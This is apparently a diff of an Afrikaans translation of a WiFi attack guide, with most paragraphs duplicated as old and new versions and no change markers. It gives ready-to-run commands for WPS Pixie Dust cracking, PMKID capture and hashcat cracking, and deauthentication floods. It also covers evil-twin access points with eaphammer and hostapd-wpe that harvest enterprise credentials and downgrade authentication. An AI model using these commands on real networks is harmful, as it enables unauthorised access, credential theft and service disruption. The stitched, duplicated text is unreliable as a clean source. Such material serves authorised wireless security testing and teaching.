**Dominique Bongard** het 'n fout ontdek in sommige Toegangspunte (APs) rakende die skepping van geheime kodes, bekend as **nonces** (**E-S1** en **E-S2**). As hierdie nonces uitgevind kan word, word dit maklik om die AP se WPS PIN te kraak. Die AP openbaar die PIN binne 'n spesiale kode (hash) om te bewys dat dit wettig is en nie 'n vals (rogue) AP nie. Hierdie nonces is in wese die "sleutels" om die "kluis" wat die WPS PIN bevat, oop te maak. Meer hieroor kan gevind word [hier](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
|
||||
**Dominique Bongard** het 'n fout ontdek in sommige Toegangspunte (APs) rakende die skepping van geheime kodes, bekend as **nonces** (**E-S1** en **E-S2**). As hierdie nonces uitgevind kan word, word dit maklik om die AP se WPS PIN te kraak. Die AP openbaar die PIN binne 'n spesiale kode (hash) om te bewys dat dit wettig is en nie 'n vals (rogue) AP nie. Hierdie nonces is in wese die "sleutels" om die "kluis" wat die WPS PIN bevat, te ontsluit. Meer hieroor kan gevind word [here](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
|
||||
|
||||
In eenvoudige terme is die probleem dat sommige APs nie genoegsame ewekansige sleutels gebruik het om die PIN tydens die verbindsproses te enkripteer nie. Dit maak die PIN kwesbaar om van buite die netwerk (offline brute force aanval) geraai te word.
|
||||
In eenvoudige terme is die probleem dat sommige APs nie genoegsame ewekansige sleutels gebruik het om die PIN tydens die verbindsproses te enkripteer nie. Dit maak die PIN kwesbaar om van buite die netwerk geraai te word (offline brute force aanval).
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||
@ -234,7 +234,7 @@ Al die voorgestelde WPS-aanvalle kan maklik uitgevoer word met _**airgeddon.**_
|
||||
|
||||
.png>)
|
||||
|
||||
- 5 en 6 laat jou toe om **jou pasgemaakte PIN** te probeer (as jy enige het)
|
||||
- 5 en 6 laat jou toe om **jou eie PIN** te probeer (as jy een het)
|
||||
- 7 en 8 voer die **Pixie Dust aanval** uit
|
||||
- 13 laat jou toe om die **NULL PIN** te toets
|
||||
- 11 en 12 sal **die PINs wat verband hou met die geselekteerde AP uit beskikbare databasisse herwin** en **genereer** moontlike **PINs** met: ComputePIN, EasyBox en opsioneel Arcadyan (aanbeveel, hoekom nie?)
|
||||
@ -254,7 +254,7 @@ So gebroke en ongebruik vandag. Weet net dat _**airgeddon**_ 'n WEP-opsie het ge
|
||||
|
||||
### PMKID
|
||||
|
||||
In 2018 het **hashcat** [ontbloot](https://hashcat.net/forum/thread-7717.html) 'n nuwe aanvalmetode, uniek omdat dit net **een enkele pakket** benodig en nie enige kliënte vereis om aan die teiken AP gekoppel te wees nie—net interaksie tussen die aanvaller en die AP.
|
||||
In 2018 het **hashcat** [onthul](https://hashcat.net/forum/thread-7717.html) 'n nuwe aanvalmetode, uniek omdat dit net **een enkele pakket** benodig en nie enige kliënte vereis om aan die teiken AP gekoppel te wees nie—net interaksie tussen die aanvaller en die AP.
|
||||
|
||||
Baie moderne routers voeg 'n **opsionele veld** by die **eerste EAPOL** raam tydens assosiasie, bekend as `Robust Security Network`. Dit sluit die `PMKID` in.
|
||||
|
||||
@ -283,9 +283,9 @@ hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
||||
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
||||
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
```
|
||||
Neem asseblief kennis dat die formaat van 'n korrekte hash **4 dele** bevat, soos: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`. As joune **slegs** **3 dele** bevat, dan is dit **ongeldig** (die PMKID-kaping was nie geldig nie).
|
||||
Neem asseblief kennis dat die formaat van 'n korrekte hash **4 dele** bevat, soos: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` As joune **slegs** **3 dele** bevat, dan is dit **ongeldig** (die PMKID-kaping was nie geldig nie).
|
||||
|
||||
Let daarop dat `hcxdumptool` **ook handshakes** **vang** (iets soos hierdie sal verskyn: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Jy kan die **handshakes** na **hashcat**/**john** formaat omskakel met `cap2hccapx`.
|
||||
Let daarop dat `hcxdumptool` **ook handshakes** **vang** (iets soos hierdie sal verskyn: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Jy kan die **handshakes** na **hashcat**/**john** formaat omskakel met `cap2hccapx`
|
||||
```bash
|
||||
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
|
||||
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
|
||||
@ -304,11 +304,11 @@ _Ek het opgemerk dat sommige handshakes wat met hierdie hulpmiddel gevang is, ni
|
||||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
3. Om die kans te verhoog om 'n handshake te vang, ontkoppel die kliënt oombliklik van die netwerk om 'n herverifikasie af te dwing. Dit kan gedoen word met die `aireplay-ng` opdrag, wat de-authentikasiepakkette na die kliënt stuur:
|
||||
3. Om die kans om 'n handshake te vang te verhoog, ontkoppel die kliënt oombliklik van die netwerk om 'n her-authentisering af te dwing. Dit kan gedoen word met die `aireplay-ng` opdrag, wat de-authentisering pakkette na die kliënt stuur:
|
||||
```bash
|
||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
||||
```
|
||||
_Note dat soos die kliënt gedeauthentiseer is, kan dit probeer om met 'n ander AP of, in ander gevalle, met 'n ander netwerk te verbind._
|
||||
_Note dat soos die kliënt gede-authentiseer is, kan dit probeer om met 'n ander AP of, in ander gevalle, met 'n ander netwerk te verbind._
|
||||
|
||||
Sodra daar in die `airodump-ng` 'n paar handshake-inligting verskyn, beteken dit dat die handshake gevang is en jy kan stop om te luister:
|
||||
|
||||
@ -332,7 +332,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
|
||||
```
|
||||
cowpatty -r psk-01.cap -s "ESSID" -f -
|
||||
```
|
||||
_As hierdie hulpmiddel 'n onvoltooide handdruk van 'n ESSID voor die voltooide een vind, sal dit nie die geldige een opspoor nie._
|
||||
_As hierdie hulpmiddel 'n onvoltooide handdruk van 'n ESSID vind voordat die voltooide een, sal dit nie die geldige een opspoor nie._
|
||||
|
||||
**pyrit**
|
||||
```bash
|
||||
@ -350,22 +350,22 @@ In **onderneming WiFi-opstellings, sal jy verskeie autentikasie metodes teëkom*
|
||||
2. **EAP-MD5 (Berig Digest 5)**:
|
||||
- Dit behels die sending van die MD5-hash van die wagwoord vanaf die kliënt. Dit is **nie aanbeveel** nie weens kwesbaarheid vir woordeboekaanvalle, gebrek aan bedienerverifikasie, en onmoontlikheid om sessie-spesifieke WEP-sleutels te genereer.
|
||||
3. **EAP-TLS (Transport Laag Sekuriteit)**:
|
||||
- Maak gebruik van beide kliënt-kant en bediener-kant sertifikate vir verifikasie en kan dinamies gebruiker-gebaseerde en sessie-gebaseerde WEP-sleutels genereer om kommunikasie te beveilig.
|
||||
- Maak gebruik van beide kliënt- en bediener-sertifikate vir verifikasie en kan dinamies gebruikersgebaseerde en sessie-gebaseerde WEP-sleutels genereer om kommunikasie te beveilig.
|
||||
4. **EAP-TTLS (Tunneled Transport Laag Sekuriteit)**:
|
||||
- Bied wedersydse verifikasie deur 'n versleutelde tonnel, saam met 'n metode om dinamiese, per-gebruiker, per-sessie WEP-sleutels af te lei. Dit vereis slegs bediener-kant sertifikate, met kliënte wat kredensiale gebruik.
|
||||
- Bied wedersydse verifikasie deur 'n versleutelde tonnel, saam met 'n metode om dinamiese, per-gebruiker, per-sessie WEP-sleutels af te lei. Dit vereis slegs bediener-sertifikate, met kliënte wat kredensiale gebruik.
|
||||
5. **PEAP (Beskermde Uitbreidbare Verifikasie Protokol)**:
|
||||
- Funksioneer soortgelyk aan EAP deur 'n TLS-tonnel te skep vir beskermde kommunikasie. Dit laat die gebruik van swakker verifikasie protokolle bo-op EAP toe weens die beskerming wat deur die tonnel aangebied word.
|
||||
- **PEAP-MSCHAPv2**: Word dikwels as PEAP verwys, dit kombineer die kwesbare MSCHAPv2 uitdaging/antwoord meganisme met 'n beskermende TLS-tonnel.
|
||||
- Funksioneer soortgelyk aan EAP deur 'n TLS-tonnel te skep vir beskermde kommunikasie. Dit laat die gebruik van swakker verifikasieprotokolle bo-op EAP toe weens die beskerming wat deur die tonnel gebied word.
|
||||
- **PEAP-MSCHAPv2**: Word dikwels as PEAP verwys, dit kombineer die kwesbare MSCHAPv2 uitdaging/antwoord-meganisme met 'n beskermende TLS-tonnel.
|
||||
- **PEAP-EAP-TLS (of PEAP-TLS)**: Soortgelyk aan EAP-TLS, maar begin 'n TLS-tonnel voordat sertifikate uitgewissel word, wat 'n addisionele laag van sekuriteit bied.
|
||||
|
||||
Jy kan meer inligting oor hierdie verifikasie metodes [hier ](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)en [hier](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html) vind.
|
||||
|
||||
### Gebruikersnaam Captuur
|
||||
### Gebruikersnaam Kaping
|
||||
|
||||
Deur [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) te lees, lyk dit of as jy **EAP** gebruik, die **"Identiteit"** **boodskappe** moet **ondersteun** word, en die **gebruikersnaam** gaan in **duidelik** in die **"Response Identity"** boodskappe gestuur word.
|
||||
Deur [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) te lees, lyk dit of as jy **EAP** gebruik, die **"Identiteit"** **boodskappe** moet **ondersteun** word, en die **gebruikersnaam** gaan in **duidelik** in die **"Antwoord Identiteit"** boodskappe gestuur word.
|
||||
|
||||
Selfs met die gebruik van een van die mees veilige verifikasie metodes: **PEAP-EAP-TLS**, is dit moontlik om die **gebruikersnaam wat in die EAP-protokol gestuur word** te **captuur**. Om dit te doen, **captuur 'n verifikasie kommunikasie** (begin `airodump-ng` binne 'n kanaal en `wireshark` in dieselfde koppelvlak) en filter die pakkette deur `eapol`.\
|
||||
Binne die "**Response, Identity**" pakket, sal die **gebruikersnaam** van die kliënt verskyn.
|
||||
Selfs met die gebruik van een van die mees veilige verifikasie metodes: **PEAP-EAP-TLS**, is dit moontlik om die **gebruikersnaam wat in die EAP-protokol gestuur word** te **kaping**. Om dit te doen, **kaping 'n verifikasie kommunikasie** (begin `airodump-ng` binne 'n kanaal en `wireshark` in dieselfde koppelvlak) en filter die pakkette deur `eapol`.\
|
||||
Binne die "**Antwoord, Identiteit**" pakket, sal die **gebruikersnaam** van die kliënt verskyn.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -374,16 +374,16 @@ Binne die "**Response, Identity**" pakket, sal die **gebruikersnaam** van die kl
|
||||
Identiteit verborge word deur beide EAP-PEAP en EAP-TTLS ondersteun. In die konteks van 'n WiFi-netwerk, word 'n EAP-Identiteit versoek tipies deur die toegangspunt (AP) tydens die assosiasie proses geïnisieer. Om die beskerming van gebruikersanonieme te verseker, bevat die antwoord van die EAP-kliënt op die gebruiker se toestel slegs die noodsaaklike inligting wat benodig word vir die aanvanklike RADIUS-bediener om die versoek te verwerk. Hierdie konsep word geïllustreer deur die volgende scenario's:
|
||||
|
||||
- EAP-Identiteit = anoniem
|
||||
- In hierdie scenario gebruik alle gebruikers die pseudonieme "anoniem" as hul gebruikersidentifiseerder. Die aanvanklike RADIUS-bediener funksioneer as 'n EAP-PEAP of EAP-TTLS bediener, verantwoordelik vir die bestuur van die bediener-kant van die PEAP of TTLS protokol. Die innerlike (beskermde) verifikasie metode word dan of plaaslik hanteer of aan 'n afstands (huis) RADIUS-bediener gedelegeer.
|
||||
- In hierdie scenario gebruik alle gebruikers die pseudonieme "anoniem" as hul gebruikersidentifiseerder. Die aanvanklike RADIUS-bediener funksioneer as 'n EAP-PEAP of EAP-TTLS bediener, verantwoordelik vir die bestuur van die bediener-kant van die PEAP of TTLS protokol. Die binneste (beskermde) verifikasie metode word dan of plaaslik hanteer of aan 'n afstands (huis) RADIUS-bediener gedelegeer.
|
||||
- EAP-Identiteit = anoniem@realm_x
|
||||
- In hierdie situasie verberg gebruikers van verskillende koninkryke hul identiteite terwyl hulle hul onderskeie koninkryke aandui. Dit laat die aanvanklike RADIUS-bediener toe om die EAP-PEAP of EAP-TTLS versoeke na RADIUS-bedieners in hul huis koninkryke te proxy, wat as die PEAP of TTLS bediener optree. Die aanvanklike RADIUS-bediener funksioneer slegs as 'n RADIUS relay node.
|
||||
- In hierdie situasie verberg gebruikers van verskillende koninkryke hul identiteite terwyl hulle hul onderskeie koninkryke aandui. Dit laat die aanvanklike RADIUS-bediener toe om die EAP-PEAP of EAP-TTLS versoeke na RADIUS-bedieners in hul huis koninkryke te proxy, wat as die PEAP of TTLS bediener optree. Die aanvanklike RADIUS-bediener funksioneer slegs as 'n RADIUS relay-knoop.
|
||||
- Alternatiewelik kan die aanvanklike RADIUS-bediener as die EAP-PEAP of EAP-TTLS bediener funksioneer en of die beskermde verifikasie metode hanteer of dit na 'n ander bediener deurstuur. Hierdie opsie fasiliteer die konfigurasie van verskillende beleide vir verskillende koninkryke.
|
||||
|
||||
In EAP-PEAP, sodra die TLS-tonnel tussen die PEAP-bediener en die PEAP-kliënt gevestig is, begin die PEAP-bediener 'n EAP-Identiteit versoek en stuur dit deur die TLS-tonnel. Die kliënt antwoord op hierdie tweede EAP-Identiteit versoek deur 'n EAP-Identiteit antwoord te stuur wat die gebruiker se werklike identiteit deur die versleutelde tonnel bevat. Hierdie benadering voorkom effektief die onthulling van die gebruiker se werklike identiteit aan enigiemand wat die 802.11 verkeer afluister.
|
||||
In EAP-PEAP, sodra die TLS-tonnel tussen die PEAP-bediener en die PEAP-kliënt gevestig is, begin die PEAP-bediener 'n EAP-Identiteit versoek en stuur dit deur die TLS-tonnel. Die kliënt antwoord op hierdie tweede EAP-Identiteit versoek deur 'n EAP-Identiteit antwoord te stuur wat die gebruiker se werklike identiteit deur die versleutelde tonnel bevat. Hierdie benadering voorkom effektief die onthulling van die gebruiker se werklike identiteit aan enigiemand wat die 802.11-verkeer afluister.
|
||||
|
||||
EAP-TTLS volg 'n effens ander prosedure. Met EAP-TTLS, verifieer die kliënt tipies met behulp van PAP of CHAP, beveilig deur die TLS-tonnel. In hierdie geval sluit die kliënt 'n User-Name attribuut en óf 'n Wagwoord of CHAP-Wagwoord attribuut in die aanvanklike TLS-boodskap wat gestuur word na tonnel vestiging.
|
||||
|
||||
Ongeag die protokol wat gekies word, verkry die PEAP/TTLS-bediener kennis van die gebruiker se werklike identiteit nadat die TLS-tonnel gevestig is. Die werklike identiteit kan voorgestel word as user@realm of eenvoudig user. As die PEAP/TTLS-bediener ook verantwoordelik is vir die verifikasie van die gebruiker, het dit nou die gebruiker se identiteit en gaan voort met die verifikasie metode wat deur die TLS-tonnel beskerm word. Alternatiewelik kan die PEAP/TTLS-bediener 'n nuwe RADIUS versoek na die gebruiker se huis RADIUS-bediener deurstuur. Hierdie nuwe RADIUS versoek laat die PEAP of TTLS protokol laag weg. In gevalle waar die beskermde verifikasie metode EAP is, word die innerlike EAP-boodskappe na die huis RADIUS-bediener gestuur sonder die EAP-PEAP of EAP-TTLS omhulsel. Die User-Name attribuut van die uitgaande RADIUS-boodskap bevat die gebruiker se werklike identiteit, wat die anonieme User-Name van die inkomende RADIUS versoek vervang. Wanneer die beskermde verifikasie metode PAP of CHAP is (slegs deur TTLS ondersteun), word die User-Name en ander verifikasie attribuut wat uit die TLS payload onttrek is, in die uitgaande RADIUS-boodskap vervang, wat die anonieme User-Name en TTLS EAP-Message attribuut wat in die inkomende RADIUS versoek gevind word, vervang.
|
||||
Ongeag die protokol wat gekies word, verkry die PEAP/TTLS-bediener kennis van die gebruiker se werklike identiteit nadat die TLS-tonnel gevestig is. Die werklike identiteit kan voorgestel word as user@realm of eenvoudig user. As die PEAP/TTLS-bediener ook verantwoordelik is vir die verifikasie van die gebruiker, het dit nou die gebruiker se identiteit en gaan voort met die verifikasie metode wat deur die TLS-tonnel beskerm word. Alternatiewelik kan die PEAP/TTLS-bediener 'n nuwe RADIUS versoek na die gebruiker se huis RADIUS-bediener deurstuur. Hierdie nuwe RADIUS versoek laat die PEAP of TTLS protokol laag weg. In gevalle waar die beskermde verifikasie metode EAP is, word die binneste EAP-boodskappe na die huis RADIUS-bediener gestuur sonder die EAP-PEAP of EAP-TTLS omhulsel. Die User-Name attribuut van die uitgaande RADIUS-boodskap bevat die gebruiker se werklike identiteit, wat die anonieme User-Name van die inkomende RADIUS versoek vervang. Wanneer die beskermde verifikasie metode PAP of CHAP is (slegs deur TTLS ondersteun), word die User-Name en ander verifikasie attribuut wat uit die TLS payload onttrek is, in die uitgaande RADIUS-boodskap vervang, wat die anonieme User-Name en TTLS EAP-Message attribuut wat in die inkomende RADIUS versoek gevind word, vervang.
|
||||
|
||||
Vir meer inligting, kyk [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
|
||||
|
||||
@ -409,26 +409,26 @@ Jy kan ook hierdie aanval doen met `eaphammer`:
|
||||
- Stasies kan tussen APs roamer wat dieselfde ESSID deel, en sodoende konneksie oor 'n gebou of area handhaaf.
|
||||
- Die protokol vereis stasie-authentisering aan die ESS, maar vereis nie AP-authentisering aan die stasie nie.
|
||||
|
||||
### Gunsteling Netwerk Lyste (PNLs)
|
||||
### Gekoesterde Netwerk Lyste (PNLs)
|
||||
|
||||
- Stasies stoor die ESSID van elke draadlose netwerk waaraan hulle aansluit in hul Gunsteling Netwerk Lys (PNL), saam met netwerk-spesifieke konfigurasiedetails.
|
||||
- Stasies stoor die ESSID van elke draadlose netwerk waaraan hulle aansluit in hul Gekoesterde Netwerk Lys (PNL), saam met netwerk-spesifieke konfigurasiedetails.
|
||||
- Die PNL word gebruik om outomaties aan bekende netwerke te verbind, wat die gebruiker se ervaring verbeter deur die konneksieproses te stroomlyn.
|
||||
|
||||
### Passiewe Skandering
|
||||
|
||||
- APs stuur periodiek seinraamwerke uit, wat hul teenwoordigheid en kenmerke aankondig, insluitend die AP se ESSID tensy uitsending gedeaktiveer is.
|
||||
- Tydens passiewe skandering luister stasies vir seinraamwerke. As 'n sein se ESSID ooreenstem met 'n inskrywing in die stasie se PNL, kan die stasie outomaties aan daardie AP verbind.
|
||||
- Kennis van 'n toestel se PNL maak potensiële uitbuiting moontlik deur 'n bekende netwerk se ESSID na te boots, wat die toestel mislei om aan 'n rogue AP te verbind.
|
||||
- Kennis van 'n toestel se PNL maak potensiële uitbuiting moontlik deur 'n bekende netwerk se ESSID na te boots, wat die toestel mislei om aan 'n vals AP te verbind.
|
||||
|
||||
### Aktiewe Probing
|
||||
|
||||
- Aktiewe probing behels dat stasies probe versoeke stuur om nabygeleë APs en hul eienskappe te ontdek.
|
||||
- Gerigte probe versoeke teiken 'n spesifieke ESSID, wat help om te detecteer of 'n spesifieke netwerk binne bereik is, selfs al is dit 'n verborge netwerk.
|
||||
- Uitsendingsprobe versoeke het 'n nul SSID veld en word na alle nabygeleë APs gestuur, wat die stasie toelaat om enige gunsteling netwerk te kontroleer sonder om sy PNL-inhoud bekend te maak.
|
||||
- Gerigte probe versoeke teiken 'n spesifieke ESSID, wat help om te detecteer of 'n spesifieke netwerk binne bereik is, selfs al is dit 'n versteekte netwerk.
|
||||
- Uitsendingsprobe versoeke het 'n nul SSID veld en word na alle nabygeleë APs gestuur, wat die stasie toelaat om enige gekoesterde netwerk te kontroleer sonder om sy PNL-inhoud bekend te maak.
|
||||
|
||||
## Eenvoudige AP met herleiding na die Internet
|
||||
|
||||
Voordat verduidelik word hoe om meer komplekse aanvalle uit te voer, gaan daar verduidelik word **hoe** om net **'n AP** te **skep** en sy **verkeer** na 'n koppelvlak wat **aan** die **Internet** gekoppel is, te **herlei**.
|
||||
Voordat verduidelik word hoe om meer komplekse aanvalle uit te voer, sal verduidelik word **hoe** om net 'n **AP** te **skep** en sy **verkeer** na 'n koppelvlak wat **aan** die **Internet** gekoppel is, te **herlei**.
|
||||
|
||||
Gebruik `ifconfig -a` om te kontroleer dat die wlan-koppelvlak om die AP te skep en die koppelvlak wat aan die Internet gekoppel is, teenwoordig is.
|
||||
|
||||
@ -479,14 +479,14 @@ wpa_group_rekey=86400
|
||||
ieee80211n=1
|
||||
wme_enabled=1
|
||||
```
|
||||
**Stop irriterende prosesse**, stel **monitor-modus** in, en **begin hostapd**:
|
||||
**Stop irriterende prosesse**, stel **monitormodus** in, en **begin hostapd**:
|
||||
```bash
|
||||
airmon-ng check kill
|
||||
iwconfig wlan0 mode monitor
|
||||
ifconfig wlan0 up
|
||||
hostapd ./hostapd.conf
|
||||
```
|
||||
### Voorwaartse en Herleiding
|
||||
### Voorwaartse en Oorleiding
|
||||
```bash
|
||||
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
|
||||
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
|
||||
@ -497,18 +497,18 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
'n Evil twin-aanval benut die manier waarop WiFi-kliënte netwerke herken, hoofsaaklik deur op die netwerknaam (ESSID) te staatmaak sonder om die basisstasie (toegangspunt) te vereis om homself aan die kliënt te verifieer. Sleutelpunte sluit in:
|
||||
|
||||
- **Moeilikheid in Differensiasie**: Toestelle sukkel om tussen wettige en onwettige toegangspunte te onderskei wanneer hulle dieselfde ESSID en versleutelingstipe deel. Regte wêreldnetwerke gebruik dikwels verskeie toegangspunte met dieselfde ESSID om dekking naatloos uit te brei.
|
||||
- **Kliënt Roaming en Verbinding Manipulasie**: Die 802.11-protokol laat toestelle toe om tussen toegangspunte binne dieselfde ESS te roam. Aanvallers kan dit benut deur 'n toestel te lok om van sy huidige basisstasie af te skakel en met 'n onwettige een te verbind. Dit kan bereik word deur 'n sterker sein aan te bied of die verbinding met die wettige toegangspunt te ontwrig deur metodes soos deauthentisering pakkette of jamming.
|
||||
- **Uitvoeringsuitdagings**: Om 'n evil twin-aanval suksesvol uit te voer in omgewings met verskeie, goed geplaasde toegangspunte kan uitdagend wees. Deauthentisering van 'n enkele wettige toegangspunt lei dikwels daartoe dat die toestel met 'n ander wettige toegangspunt verbind, tensy die aanvaller alle nabye toegangspunte kan deauthentiseer of die onwettige toegangspunt strategies kan plaas.
|
||||
- **Kliënt Roaming en Verbinding Manipulasie**: Die 802.11-protokol laat toestelle toe om tussen toegangspunte binne dieselfde ESS te roam. Aanvallers kan dit benut deur 'n toestel te lok om van sy huidige basisstasie af te skakel en met 'n onwettige een te verbind. Dit kan bereik word deur 'n sterker sein aan te bied of die verbinding met die wettige toegangspunt te ontwrig deur metodes soos deauthenticatie-pakkette of jamming.
|
||||
- **Uitvoeringsuitdagings**: Om 'n evil twin-aanval suksesvol uit te voer in omgewings met verskeie, goed geplaasde toegangspunte kan uitdagend wees. Om 'n enkele wettige toegangspunt te deauthentiseer, lei dikwels daartoe dat die toestel met 'n ander wettige toegangspunt verbind, tensy die aanvaller alle nabye toegangspunte kan deauthentiseer of die onwettige toegangspunt strategies kan plaas.
|
||||
|
||||
Jy kan 'n baie basiese Open Evil Twin (geen vermoëns om verkeer na die Internet te roete nie) skep deur:
|
||||
```bash
|
||||
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||
```
|
||||
Jy kan ook 'n Evil Twin skep met **eaphammer** (let op dat om evil twins met eaphammer te skep, die koppelvlak **nie** in **monitor** modus **moet wees**):
|
||||
Jy kan ook 'n Evil Twin skep met **eaphammer** (let op dat die koppelvlak **nie** in **monitor** modus **moet wees** om evil twins met eaphammer te skep):
|
||||
```bash
|
||||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||||
```
|
||||
Of deur Airgeddon te gebruik: `Options: 5,6,7,8,9 (binne Evil Twin aanvalspaneel).`
|
||||
Of deur Airgeddon te gebruik: `Options: 5,6,7,8,9 (binne Evil Twin aanvalspysmenu).`
|
||||
|
||||
.png>)
|
||||
|
||||
@ -518,7 +518,7 @@ _Sommige OS en AV sal die gebruiker waarsku dat dit gevaarlik is om aan 'n Open
|
||||
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
Jy kan 'n **Evil Twin met WPA/2** skep en as die toestelle geconfigureer is om aan daardie SSID met WPA/2 te verbind, gaan hulle probeer om te verbind. In elk geval, **om die 4-way-handshake te voltooi** moet jy ook die **wagwoord** weet wat die kliënt gaan gebruik. As jy dit **nie weet nie**, sal die **verbinding nie voltooi word**.
|
||||
Jy kan 'n **Evil Twin met WPA/2** skep en as die toestelle geconfigureer is om aan daardie SSID met WPA/2 te verbind, sal hulle probeer om te verbind. In elk geval, **om die 4-way-handshake te voltooi** moet jy ook die **wagwoord** weet wat die kliënt gaan gebruik. As jy dit **nie weet nie**, sal die **verbinding nie voltooi word**.
|
||||
```bash
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
@ -533,7 +533,7 @@ Om hierdie aanvalle te verstaan, beveel ek aan om voor die kort [WPA Enterprise
|
||||
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
||||
hostapd-wpe ./victim/victim.conf -s
|
||||
```
|
||||
In die konfigurasie lêer kan jy 'n baie verskillende dinge kies soos ssid, kanaal, gebruikerslêers, cret/key, dh parameters, wpa weergawe en auth...
|
||||
In die konfigurasie lêer kan jy 'n klomp verskillende dinge kies soos ssid, kanaal, gebruikerslêers, cret/key, dh parameters, wpa weergawe en auth...
|
||||
|
||||
[**Gebruik hostapd-wpe met EAP-TLS om enige sertifikaat toe te laat om aan te meld.**](evil-twin-eap-tls.md)
|
||||
|
||||
@ -545,7 +545,7 @@ In die konfigurasie lêer kan jy 'n baie verskillende dinge kies soos ssid, kana
|
||||
# Launch Attack
|
||||
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
||||
```
|
||||
Standaard bied EAPHammer hierdie autentikasie metodes aan (let op GTC as die eerste een om te probeer om teksvormige wagwoorde te verkry en dan die gebruik van meer robuuste autentikasie metodes):
|
||||
Standaard doel EAPHammer hierdie autentikasie metodes (let op GTC as die eerste een om te probeer om tekswagte te verkry en dan die gebruik van meer robuuste autentikasie metodes):
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
@ -561,19 +561,19 @@ Of jy kan ook gebruik:
|
||||
|
||||
**Gebruik Airgeddon**
|
||||
|
||||
`Airgeddon` kan voorheen gegenereerde sertifikate gebruik om EAP outentikasie aan WPA/WPA2-Enterprise netwerke te bied. Die vals netwerk sal die verbindingsprotokol na EAP-MD5 afgradeer sodat dit in staat sal wees om die **gebruiker en die MD5 van die wagwoord** te **vang**. Later kan die aanvaller probeer om die wagwoord te kraak.\
|
||||
`Airgeddon` bied jou die moontlikheid van 'n **deurlopende Evil Twin aanval (luid)** of **net die Evil Attack te skep totdat iemand aansluit (glad).**
|
||||
`Airgeddon` kan voorheen gegenereerde sertifikate gebruik om EAP-outentikasie aan WPA/WPA2-Enterprise-netwerke aan te bied. Die vals netwerk sal die verbindingsprotokol na EAP-MD5 afgradeer sodat dit in staat sal wees om die **gebruiker en die MD5 van die wagwoord** te **vang**. Later kan die aanvaller probeer om die wagwoord te kraak.\
|
||||
`Airgeddon` bied jou die moontlikheid van 'n **deurlopende Evil Twin-aanval (rumoerig)** of **net die Evil Attack te skep totdat iemand aansluit (glad).**
|
||||
|
||||
.png>)
|
||||
|
||||
### Foutopsporing van PEAP en EAP-TTLS TLS tonnels in Evil Twins aanvalle
|
||||
### Foutopsporing van PEAP en EAP-TTLS TLS tonnels in Evil Twins-aanvalle
|
||||
|
||||
_Hierdie metode is getoets in 'n PEAP-verbinding, maar aangesien ek 'n arbitrêre TLS-tonnel ontcijfer, behoort dit ook met EAP-TTLS te werk._
|
||||
_Hierdie metode is getoets in 'n PEAP-verbinding, maar aangesien ek 'n arbitrêre TLS-tunnel ontcijfer, behoort dit ook met EAP-TTLS te werk._
|
||||
|
||||
Binne die **konfigurasie** van _hostapd-wpe_ **kommenteer** die lyn wat _**dh_file**_ bevat (van `dh_file=/etc/hostapd-wpe/certs/dh` na `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
||||
Dit sal `hostapd-wpe` laat **sleutel ruil met RSA** in plaas van DH, sodat jy later die verkeer kan **ontcijfer** **weet die bediener se privaat sleutel**.
|
||||
Dit sal `hostapd-wpe` laat **sleutel ruil met RSA** in plaas van DH, sodat jy later die verkeer kan **ontcijfer** **met kennis van die bediener se privaat sleutel**.
|
||||
|
||||
Begin nou die **Evil Twin** met **`hostapd-wpe`** met daardie gewysigde konfigurasie soos gewoonlik. Begin ook **`wireshark`** in die **koppelvlak** wat die Evil Twin aanval uitvoer.
|
||||
Begin nou die **Evil Twin** met **`hostapd-wpe`** met daardie gewysigde konfigurasie soos gewoonlik. Begin ook **`wireshark`** in die **koppelvlak** wat die Evil Twin-aanval uitvoer.
|
||||
|
||||
